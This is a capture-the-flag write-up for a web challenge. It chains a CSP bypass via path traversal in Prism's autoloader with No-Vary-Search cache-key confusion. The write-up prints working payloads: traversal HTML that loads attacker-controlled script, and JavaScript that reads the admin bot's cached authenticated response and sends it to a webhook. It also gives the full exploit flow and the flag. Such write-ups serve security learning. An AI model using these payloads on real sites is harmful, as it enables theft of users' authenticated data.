dont-worry

CSP bypass via path traversal in the Prism autoloader's `data-dependencies`, chained with `No-Vary-Search` cache-key confusion to replay the bot's authenticated response

2026.09.30 NNS CTF 2026 129 pts Web
FLAG NNS{A_Wi53_6uy_fR0M_5omewH3r3_f4r_noR7H_0nCe_tolD_M3:_d0n7_WoRry_ab0ut_i7}

FLAG: NNS{A_Wi53_6uy_fR0M_5omewH3r3_f4r_noR7H_0nCe_tolD_M3:_d0n7_WoRry_ab0ut_i7}

The two bugs (chained)

1. CSP bypass — Prism autoloader data-dependencies injection

reader.js does doc.innerHTML = data.body then Prism.highlightAllUnder(doc). <script> inserted via innerHTML does NOT execute (this is what blocked the earlier attempt), but welcome.html loads prism-autoloader, whose “complete” hook reads the data-dependencies attribute off the highlighted element and concatenates each entry straight into a script URL with no validation:

s.src = languages_path + "prism-" + dep + ".min.js"   // dep fully attacker-controlled
document.body.appendChild(s)                          // dynamic insert => EXECUTES

Path traversal in dep retargets it anywhere same-origin (CSP script-src 'self' OK). /raw/<id> serves Content-Type: text/javascript when the doc’s language is javascript, so it passes nosniff as a script.

Payload doc body (5x ../ because prism- glues to the first ..):

<pre><code class="language-css"
  data-dependencies="../../../../../raw/<JSDOC>?key=<JSKEY>&">a{}</code></pre>

resolves to /raw/<JSDOC>?key=<JSKEY>&.min.js (trailing .min.js lands harmlessly in the query string).

2. Reading the flag — No-Vary-Search cache-key confusion

The real vuln. Server-side key check is airtight (no bypass exists). But:

  • successful GET /api/documents/<id>?key=<correct> -> cache-control: private, max-age=5 (only the 403s are no-store — the earlier notes wrongly assumed no-store everywhere)
  • every response carries no-vary-search: params, except=("view"), which tells the browser cache to ignore ALL query params except view when matching — including key

So the bot’s own authenticated fetch (?key=<uuid>&view=editor) leaves a cache entry matched by (path, view) alone. fetch(url, {cache:'force-cache'}) serves a cached entry regardless of freshness, so the 5s max-age vs the bot’s 15s sleep doesn’t matter.

fetch('/api/documents/welcome?key=x&view=editor', {cache:'force-cache'})
  .then(r=>r.json()).then(d=>fetch(WEBHOOK+'?flag='+encodeURIComponent(d.body)))

view=editor is required (it’s the one param that still varies the cache key — ?key=x and ?key=x&view=reader both returned forbidden). connect-src * allows exfil.

Flow

  1. doc A: language=javascript, body = payload JS above
  2. doc B: language=none, body = the data-dependencies traversal HTML pointing at doc A
  3. submit /d/<B>#<keyB> to the admin bot

Verified end-to-end locally first by PUTting a fake flag into welcome with a known key, loading /e/welcome#key in one tab, closing it, then opening the exploit in a fresh tab.